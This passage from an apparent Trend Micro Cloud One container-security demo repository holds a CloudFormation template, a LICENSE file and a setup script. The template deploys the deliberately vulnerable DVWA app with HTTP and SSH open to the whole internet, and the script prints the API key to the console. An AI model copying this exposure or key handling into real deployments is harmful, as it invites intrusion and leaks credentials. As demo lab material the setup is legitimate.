c3.large 33 | - c3.xlarge 34 | - r3.large 35 | ConstraintDescription: Please choose a valid instance type. 36 | Mappings: 37 | AWSRegionToAMI: 38 | us-east-1: 39 | AMIID: ami-09bee01cc997a78a6 40 | us-east-2: 41 | AMIID: ami-0a9e12068cb98a01d 42 | us-west-1: 43 | AMIID: ami-0fa6c8d131a220017 44 | us-west-2: 45 | AMIID: ami-078c97cf1cefd1b38 46 | eu-west-1: 47 | AMIID: ami-0c9ef930279337028 48 | eu-central-1: 49 | AMIID: ami-065c1e34da68f2b02 50 | ap-northeast-1: 51 | AMIID: ami-02265963d1614d04d 52 | ap-southeast-1: 53 | AMIID: ami-0b68661b29b9e058c 54 | ap-southeast-2: 55 | AMIID: ami-00e4b147599c13588 56 | Resources: 57 | ECSCluster: 58 | Type: 'AWS::ECS::Cluster' 59 | EcsSecurityGroup: 60 | Type: 'AWS::EC2::SecurityGroup' 61 | Properties: 62 | GroupDescription: ECS Security Group 63 | VpcId: !Ref VpcId 64 | EcsSecurityGroupHTTPinbound: 65 | Type: 'AWS::EC2::SecurityGroupIngress' 66 | Properties: 67 | GroupId: !Ref EcsSecurityGroup 68 | IpProtocol: tcp 69 | FromPort: 80 70 | ToPort: 80 71 | CidrIp: 0.0.0.0/0 72 | EcsSecurityGroupSSHinbound: 73 | Type: 'AWS::EC2::SecurityGroupIngress' 74 | Properties: 75 | GroupId: !Ref EcsSecurityGroup 76 | IpProtocol: tcp 77 | FromPort: 22 78 | ToPort: 22 79 | CidrIp: 0.0.0.0/0 80 | CloudwatchLogsGroup: 81 | Type: 'AWS::Logs::LogGroup' 82 | Properties: 83 | LogGroupName: !Join 84 | - '-' 85 | - - ECSLogGroup 86 | - !Ref 'AWS::StackName' 87 | RetentionInDays: 7 88 | taskdefinition: 89 | Type: 'AWS::ECS::TaskDefinition' 90 | Properties: 91 | Family: !Join 92 | - '' 93 | - - !Ref 'AWS::StackName' 94 | - '-ecs-demo-app' 95 | ContainerDefinitions: 96 | - Name: dvwa 97 | Cpu: 10 98 | Essential: true 99 | Image: public.ecr.aws/k1q0d6m0/dvwa 100 | Memory: 200 101 | LogConfiguration: 102 | LogDriver: awslogs 103 | Options: 104 | awslogs-group: !Ref CloudwatchLogsGroup 105 | awslogs-region: !Ref 'AWS::Region' 106 | awslogs-stream-prefix: ecs-demo-app 107 | 108 | ECSAutoScalingGroup: 109 | Type: 'AWS::AutoScaling::AutoScalingGroup' 110 | Properties: 111 | VPCZoneIdentifier: !Ref SubnetId 112 | LaunchConfigurationName: !Ref ContainerInstances 113 | MinSize: '1' 114 | MaxSize: !Ref MaxSize 115 | DesiredCapacity: !Ref DesiredCapacity 116 | CreationPolicy: 117 | ResourceSignal: 118 | Timeout: PT15M 119 | UpdatePolicy: 120 | AutoScalingReplacingUpdate: 121 | WillReplace: 'true' 122 | ContainerInstances: 123 | Type: 'AWS::AutoScaling::LaunchConfiguration' 124 | Properties: 125 | ImageId: !FindInMap 126 | - AWSRegionToAMI 127 | - !Ref 'AWS::Region' 128 | - AMIID 129 | SecurityGroups: 130 | - !Ref EcsSecurityGroup 131 | InstanceType: !Ref InstanceType 132 | IamInstanceProfile: !Ref EC2InstanceProfile 133 | KeyName: !Ref KeyName 134 | UserData: !Base64 135 | 'Fn::Join': 136 | - '' 137 | - - | 138 | #!/bin/bash -xe 139 | - echo ECS_CLUSTER= 140 | - !Ref ECSCluster 141 | - |2 142 | >> /etc/ecs/ecs.config 143 | - | 144 | yum install -y aws-cfn-bootstrap 145 | - '/opt/aws/bin/cfn-signal -e $? ' 146 | - ' --stack ' 147 | - !Ref 'AWS::StackName' 148 | - ' --resource ECSAutoScalingGroup ' 149 | - ' --region ' 150 | - !Ref 'AWS::Region' 151 | - |+ 152 | 153 | EC2Role: 154 | Type: 'AWS::IAM::Role' 155 | Properties: 156 | AssumeRolePolicyDocument: 157 | Statement: 158 | - Effect: Allow 159 | Principal: 160 | Service: 161 | - ec2.amazonaws.com 162 | Action: 163 | - 'sts:AssumeRole' 164 | Path: / 165 | Policies: 166 | - PolicyName: ecs-service 167 | PolicyDocument: 168 | Statement: 169 | - Effect: Allow 170 | Action: 171 | - 'ecs:CreateCluster' 172 | - 'ecs:DeregisterContainerInstance' 173 | - 'ecs:DiscoverPollEndpoint' 174 | - 'ecs:Poll' 175 | - 'ecs:RegisterContainerInstance' 176 | - 'ecs:StartTelemetrySession' 177 | - 'ecs:Submit*' 178 | - 'logs:CreateLogStream' 179 | - 'logs:PutLogEvents' 180 | Resource: '*' 181 | AutoscalingRole: 182 | Type: 'AWS::IAM::Role' 183 | Properties: 184 | AssumeRolePolicyDocument: 185 | Statement: 186 | - Effect: Allow 187 | Principal: 188 | Service: 189 | - application-autoscaling.amazonaws.com 190 | Action: 191 | - 'sts:AssumeRole' 192 | Path: / 193 | Policies: 194 | - PolicyName: service-autoscaling 195 | PolicyDocument: 196 | Statement: 197 | - Effect: Allow 198 | Action: 199 | - 'application-autoscaling:*' 200 | - 'cloudwatch:DescribeAlarms' 201 | - 'cloudwatch:PutMetricAlarm' 202 | - 'ecs:DescribeServices' 203 | - 'ecs:UpdateService' 204 | Resource: '*' 205 | EC2InstanceProfile: 206 | Type: 'AWS::IAM::InstanceProfile' 207 | Properties: 208 | Path: / 209 | Roles: 210 | - !Ref EC2Role 211 | RunningTaskParameter: 212 | Type: 'AWS::SSM::Parameter' 213 | Properties: 214 | DataType: text 215 | Type: String 216 | Value: default 217 | 218 | Outputs: 219 | ecscluster: 220 | Value: !Ref ECSCluster 221 | taskdef: 222 | Value: !Ref taskdefinition -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | <<<<<<< HEAD 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [2023] [Trend Micro] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. -------------------------------------------------------------------------------- /cloudshell/auxiliary_scripts/deploy-container-security.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if number of arguments isn't equal to 2 7 | if [ "$#" -ne 2 ]; then 8 | echo "You must enter 2 command line arguments: CLOUD_ONE_REGION CLOUD_ONE_API_KEY" 9 | exit 10 | fi 11 | 12 | # Check if helm is installed. 13 | if ! command -v helm &> /dev/null 14 | then 15 | echo "helm could not be found. Install it following this: https://helm.sh/docs/intro/install/" 16 | exit 17 | fi 18 | 19 | # Check if jq is installed. 20 | if ! command -v jq &> /dev/null 21 | then 22 | echo "jq could not be found. Install it following this: https://stedolan.github.io/jq/download/" 23 | exit 24 | fi 25 | 26 | # Set color green for echo output 27 | green=$(tput setaf 2) 28 | 29 | # First parameter is the cloudone dev us1 api key. 30 | REGION=$1 31 | C1APIKEY=$2 32 | echo "$C1APIKEY" 33 | 34 | # Creates a new Ruleset in Container Security 35 | echo "💬 ${green}Creating rules and policies in your Container Security..." 36 | RULESETID=$(curl --location --request POST "https://container.${REGION}.cloudone.trendmicro.com/api/rulesets" \ 37 | --header 'api-version: v1' \ 38 | --header 'Content-Type: application/json' \ 39 | --header 'Accept: application/json' \ 40 | --header "Authorization: ApiKey ${C1APIKEY}" \ 41 | --data-raw '{ 42 | "name": "DemoRuleset", 43 | "description": "Ruleset for demo purposes.", 44 | "labels": [], 45 | "rules": [ 46 | { 47 | "ruleID": "TM-00000001", 48 | "enabled": true, 49 | "mitigation": "log" 50 | }, 51 | { 52 | "ruleID": "TM-00000002", 53 | "enabled": true, 54 | "mitigation": "log" 55 | }, 56 | { 57 | "ruleID": "TM-00000003", 58 | "enabled": true, 59 | "mitigation": "log" 60 | }, 61 | { 62 | "ruleID": "TM-00000004", 63 | "enabled": true, 64 | "mitigation": "log" 65 | }, 66 | { 67 | "ruleID": "TM-00000005", 68 | "enabled": true, 69 | "mitigation": "log" 70 | }, 71 | { 72 | "ruleID": "TM-00000006", 73 | "enabled": true, 74 | "mitigation": "log" 75 | }, 76 | { 77 | "ruleID": "TM-00000007", 78 | "enabled": true, 79 | "mitigation": "log" 80 | }, 81 | { 82 | "ruleID": "TM-00000008", 83 | "enabled": true, 84 | "mitigation": "log" 85 | }, 86 | { 87 | "ruleID": "TM-00000009", 88 | "enabled": true, 89 | "mitigation": "log" 90 | }, 91 | { 92 | "ruleID": "TM-00000010", 93 | "enabled": true, 94 | "mitigation": "log" 95 | }, 96 | { 97 | "ruleID": "TM-00000011", 98 | "enabled": true, 99 | "mitigation": "log" 100 | }, 101 | { 102 | "ruleID": "TM-00000012", 103 | "enabled": true, 104 | "mitigation": "log" 105 | }, 106 | { 107 | "ruleID": "TM-00000013", 108 | "enabled": true, 109 | "mitigation": "log" 110 | }, 111 | { 112 | "ruleID": "TM-00000014", 113 | "enabled": true, 114 | "mitigation": "log" 115 | }, 116 | { 117 | "ruleID": "TM-00000015", 118 | "enabled": true, 119 | "mitigation": "log" 120 | }, 121 | { 122 | "ruleID": "TM-00000016", 123 | "enabled": true, 124 | "mitigation": "log" 125 | }, 126 | { 127 | "ruleID": "TM-00000017", 128 | "enabled": true, 129 | "mitigation": "log" 130 | }, 131 | { 132 | "ruleID": "TM-00000018", 133 | "enabled": true, 134 | "mitigation": "log" 135 | }, 136 | { 137 | "ruleID": "TM-00000019", 138 | "enabled": true, 139 | "mitigation": "log" 140 | }, 141 | { 142 | "ruleID": "TM-00000020", 143 | "enabled": true, 144 | "mitigation": "log" 145 | }, 146 | { 147 | "ruleID": "TM-00000021", 148 | "enabled": true, 149 | "mitigation": "log" 150 | }, 151 | { 152 | "ruleID": "TM-00000022", 153 | "enabled": true, 154 | "mitigation": "log" 155 | }, 156 | { 157 | "ruleID": "TM-00000023", 158 | "enabled": true, 159 | "mitigation": "log" 160 | }, 161 | { 162 | "ruleID": "TM-00000024", 163 | "enabled": true, 164 | "mitigation": "log" 165 | }, 166 | { 167 | "ruleID": "TM-00000025", 168 | "enabled": true, 169 | "mitigation": "log" 170 | }, 171 | { 172 | "ruleID": "TM-00000026", 173 | "enabled": true, 174 | "mitigation": "log" 175 | }, 176 | { 177 | "ruleID": "TM-00000027", 178 | "enabled": true, 179 | "mitigation": "log" 180 | }, 181 | { 182 | "ruleID": "TM-00000028", 183 | "enabled": true, 184 | "mitigation": "log" 185 | }, 186 | { 187 | "ruleID": "TM-00000029", 188 | "enabled": true, 189 | "mitigation": "log" 190 | }, 191 | { 192 | "ruleID": "TM-00000030", 193 | "enabled": true, 194 | "mitigation": "log" 195 | }, 196 | { 197 | "ruleID": "TM-00000031", 198 | "enabled": true, 199 | "mitigation": "log" 200 | }, 201 | { 202 | "ruleID": "TM-00000032", 203 | "enabled": true, 204 | "mitigation": "log" 205 | }, 206 | { 207 | "ruleID": "TM-00000033", 208 | "enabled": true, 209 | "mitigation": "log" 210 | }, 211 | { 212 | "ruleID": "TM-00000034", 213 | "enabled": true, 214 | "mitigation": "log" 215 | }, 216 | { 217 | "ruleID": "TM-00000035", 218 | "enabled": true, 219 | "mitigation": "log" 220 | }, 221 | { 222 | "ruleID": "TM-00000036", 223 | "enabled": true, 224 | "mitigation": "log" 225 | }, 226 | { 227 | "ruleID": "TM-00000037", 228 | "enabled": true, 229 | "mitigation": "log" 230 | }, 231 | { 232 | "ruleID": "TM-00000038", 233 | "enabled": true, 234 | "mitigation": "log" 235 | }, 236 | { 237 | "ruleID": "TM-00000039", 238 | "enabled": true, 239 | "mitigation": "log" 240 | }, 241 | { 242 | "ruleID": "TM-00000040", 243 | "enabled": true, 244 | "mitigation": "log" 245 | }, 246 | { 247 | "ruleID": "TM-00000041", 248 | "enabled": true, 249 | "mitigation": "log" 250 | }, 251 | { 252 | "ruleID": "TM-00000042", 253 | "enabled": true, 254 | "mitigation": "log" 255 | }, 256 | { 257 | "ruleID": "TM-00000043", 258 | "enabled": true, 259 | "mitigation": "log" 260 | }, 261 | { 262 | "ruleID": "TM-00000044", 263 | "enabled": true, 264 | "mitigation": "log" 265 | }, 266 | { 267 | "ruleID": "TM-00000046", 268 | "enabled": true, 269 | "mitigation": "log" 270 | }, 271 | { 272 | "ruleID": "TM-00000047", 273 | "enabled": true, 274 | "mitigation": "log" 275 | }, 276 | { 277 | "ruleID": "TM-00000048", 278 | "enabled": true, 279 | "mitigation": "log" 280 | }, 281 | { 282 | "ruleID": "TM-00000049", 283 | "enabled": true, 284 | "mitigation": "log" 285 | } 286 | ] 287 | }' | jq -r '.id') 288 | 289 | # Creates a new Policy and adds the Ruleset to it. 290 | POLICYID=$(curl --location --request POST "https://container.${REGION}.cloudone.trendmicro.com/api/policies" \ 291 | --header 'api-version: v1' \ 292 | --header 'Content-Type: application/json' \ 293 | --header 'Accept: application/json' \ 294 | --header "Authorization: ApiKey ${C1APIKEY}" \ 295 | --data-raw '{ 296 | "name": "DemoPolicy", 297 | "description": "A Policy for demo purposes.", 298 | "default": { 299 | "rules": [ 300 | { 301 | "action": "log", 302 | "mitigation": "log", 303 | "type": "podSecurityContext", 304 | "enabled": true, 305 | "statement": { 306 | "properties": [ 307 | { 308 | "key": "runAsNonRoot", 309 | "value": "false" 310 | } 311 | ] 312 | } 313 | }, 314 | { 315 | "action": "log", 316 | "mitigation": "log", 317 | "type": "podSecurityContext", 318 | "enabled": true, 319 | "statement": { 320 | "properties": [ 321 | { 322 | "key": "hostNetwork", 323 | "value": "true" 324 | } 325 | ] 326 | } 327 | }, 328 | { 329 | "action": "log", 330 | "mitigation": "log", 331 | "type": "podSecurityContext", 332 | "enabled": true, 333 | "statement": { 334 | "properties": [ 335 | { 336 | "key": "hostIPC", 337 | "value": "true" 338 | } 339 | ] 340 | } 341 | }, 342 | { 343 | "action": "log", 344 | "mitigation": "log", 345 | "type": "podSecurityContext", 346 | "enabled": true, 347 | "statement": { 348 | "properties": [ 349 | { 350 | "key": "hostPID", 351 | "value": "true" 352 | } 353 | ] 354 | } 355 | }, 356 | { 357 | "action": "log", 358 | "mitigation": "log", 359 | "type": "containerSecurityContext", 360 | "enabled": true, 361 | "statement": { 362 | "properties": [ 363 | { 364 | "key": "runAsNonRoot", 365 | "value": "false" 366 | } 367 | ] 368 | } 369 | }, 370 | { 371 | "action": "log", 372 | "mitigation": "log", 373 | "type": "containerSecurityContext", 374 | "enabled": true, 375 | "statement": { 376 | "properties": [ 377 | { 378 | "key": "privileged", 379 | "value": "true" 380 | } 381 | ] 382 | } 383 | }, 384 | { 385 | "action": "log", 386 | "mitigation": "log", 387 | "type": "containerSecurityContext", 388 | "enabled": true, 389 | "statement": { 390 | "properties": [ 391 | { 392 | "key": "allowPrivilegeEscalation", 393 | "value": "true" 394 | } 395 | ] 396 | } 397 | }, 398 | { 399 | "action": "log", 400 | "mitigation": "log", 401 | "type": "containerSecurityContext", 402 | "enabled": true, 403 | "statement": { 404 | "properties": [ 405 | { 406 | "key": "readOnlyRootFilesystem", 407 | "value": "false" 408 | } 409 | ] 410 | } 411 | }, 412 | { 413 | "action": "log", 414 | "mitigation": "log", 415 | "type": "podexec", 416 | "enabled": true, 417 | "statement": { 418 | "properties": [ 419 | { 420 | "key": "podExec", 421 | "value": "true" 422 | } 423 | ] 424 | } 425 | }, 426 | { 427 | "action": "log", 428 | "mitigation": "log", 429 | "type": "portforward", 430 | "enabled": true, 431 | "statement": { 432 | "properties": [ 433 | { 434 | "key": "podPortForward", 435 | "value": "true" 436 | } 437 | ] 438 | } 439 | }, 440 | { 441 | "action": "log", 442 | "mitigation": "log", 443 | "type": "unscannedImage", 444 | "enabled": true 445 | }, 446 | { 447 | "action": "log", 448 | "mitigation": "log", 449 | "type": "malware", 450 | "enabled": true, 451 | "statement": { 452 | "properties": [ 453 | { 454 | "key": "count", 455 | "value": "0" 456 | } 457 | ] 458 | } 459 | }, 460 | { 461 | "action": "log", 462 | "mitigation": "log", 463 | "type": "podexec", 464 | "enabled": true, 465 | "statement": { 466 | "properties": [ 467 | { 468 | "key": "podExec", 469 | "value": "true" 470 | } 471 | ] 472 | } 473 | }, 474 | { 475 | "action": "log", 476 | "mitigation": "log", 477 | "type": "portforward", 478 | "enabled": true, 479 | "statement": { 480 | "properties": [ 481 | { 482 | "key": "podPortForward", 483 | "value": "true" 484 | } 485 | ] 486 | } 487 | }, 488 | { 489 | "action": "log", 490 | "mitigation": "log", 491 | "type": "vulnerabilities", 492 | "enabled": true, 493 | "statement": { 494 | "properties": [ 495 | { 496 | "key": "max-severity", 497 | "value": "high" 498 | } 499 | ] 500 | } 501 | }, 502 | { 503 | "action": "log", 504 | "mitigation": "log", 505 | "type": "contents", 506 | "enabled": true, 507 | "statement": { 508 | "properties": [ 509 | { 510 | "key": "max-severity", 511 | "value": "high" 512 | } 513 | ] 514 | } 515 | }, 516 | { 517 | "action": "log", 518 | "mitigation": "log", 519 | "type": "checklists", 520 | "enabled": true, 521 | "statement": { 522 | "properties": [ 523 | { 524 | "key": "max-severity", 525 | "value": "high" 526 | } 527 | ] 528 | } 529 | }, 530 | { 531 | "action": "log", 532 | "mitigation": "log", 533 | "type": "cvssAttackVector", 534 | "enabled": true, 535 | "statement": { 536 | "properties": [ 537 | { 538 | "key": "cvss-attack-vector", 539 | "value": "network" 540 | }, 541 | { 542 | "key": "max-severity", 543 | "value": "high" 544 | } 545 | ] 546 | } 547 | }, 548 | { 549 | "action": "log", 550 | "mitigation": "log", 551 | "type": "cvssAttackComplexity", 552 | "enabled": true, 553 | "statement": { 554 | "properties": [ 555 | { 556 | "key": "cvss-attack-complexity", 557 | "value": "high" 558 | }, 559 | { 560 | "key": "max-severity", 561 | "value": "high" 562 | } 563 | ] 564 | } 565 | }, 566 | { 567 | "action": "log", 568 | "mitigation": "log", 569 | "type": "cvssAvailability", 570 | "enabled": true, 571 | "statement": { 572 | "properties": [ 573 | { 574 | "key": "cvss-availability", 575 | "value": "high" 576 | }, 577 | { 578 | "key": "max-severity", 579 | "value": "high" 580 | } 581 | ] 582 | } 583 | }, 584 | { 585 | "action": "log", 586 | "mitigation": "log", 587 | "type": "checklistProfile", 588 | "enabled": true, 589 | "statement": { 590 | "properties": [ 591 | { 592 | "key": "checklist-profile", 593 | "value": "hipaa" 594 | }, 595 | { 596 | "key": "max-severity", 597 | "value": "high" 598 | } 599 | ] 600 | } 601 | } 602 | ] 603 | }, 604 | "runtime": { 605 | "default": { 606 | "rulesets": [ 607 | { 608 | "name": "DemoRuleset", 609 | "id": "'"${RULESETID}"'" 610 | } 611 | ] 612 | } 613 | } 614 | }' | jq -r '.id') 615 | echo "💬 ${green}Rules and policy created." 616 | 617 | # Creates a new Cluster in Container Security 618 | echo "💬 ${green}Deploying Container Security..." 619 | CREATE_CLUSTER_RESULT=$(curl --location --request POST "https://container.${REGION}.cloudone.trendmicro.com/api/clusters" \ 620 | --header 'api-version: v1' \ 621 | --header 'Content-Type: application/json' \ 622 | --header 'Accept: application/json' \ 623 | --header "Authorization: ApiKey ${C1APIKEY}" \ 624 | --data-raw '{ 625 | "name": "DemoCluster", 626 | "description": "This is a demo cluster.", 627 | "policyID": "'"${POLICYID}"'" 628 | }' | jq -r .) 629 | echo "$CREATE_CLUSTER_RESULT" > "$STATE_FILE" 630 | 631 | CSAPIKEY=$( < "$STATE_FILE" jq -r '.apiKey') 632 | 633 | sed -e "s/YOUR_REGION_HERE/${REGION}/" -e "s/YOUR_API_HERE/${CSAPIKEY}/" demo-overrides.yaml > my-overrides.yaml 634 | 635 | # Installs Container Security to k8s Cluster 636 | helm install \ 637 | trendmicro \ 638 | --namespace trendmicro-system --create-namespace \ 639 | --values my-overrides.yaml \ 640 | https://github.com/trendmicro/cloudone-container-security-helm/archive/master.tar.gz 641 | echo "💬 ${green}Container Security deployed." --------------------------------------------------------------------------------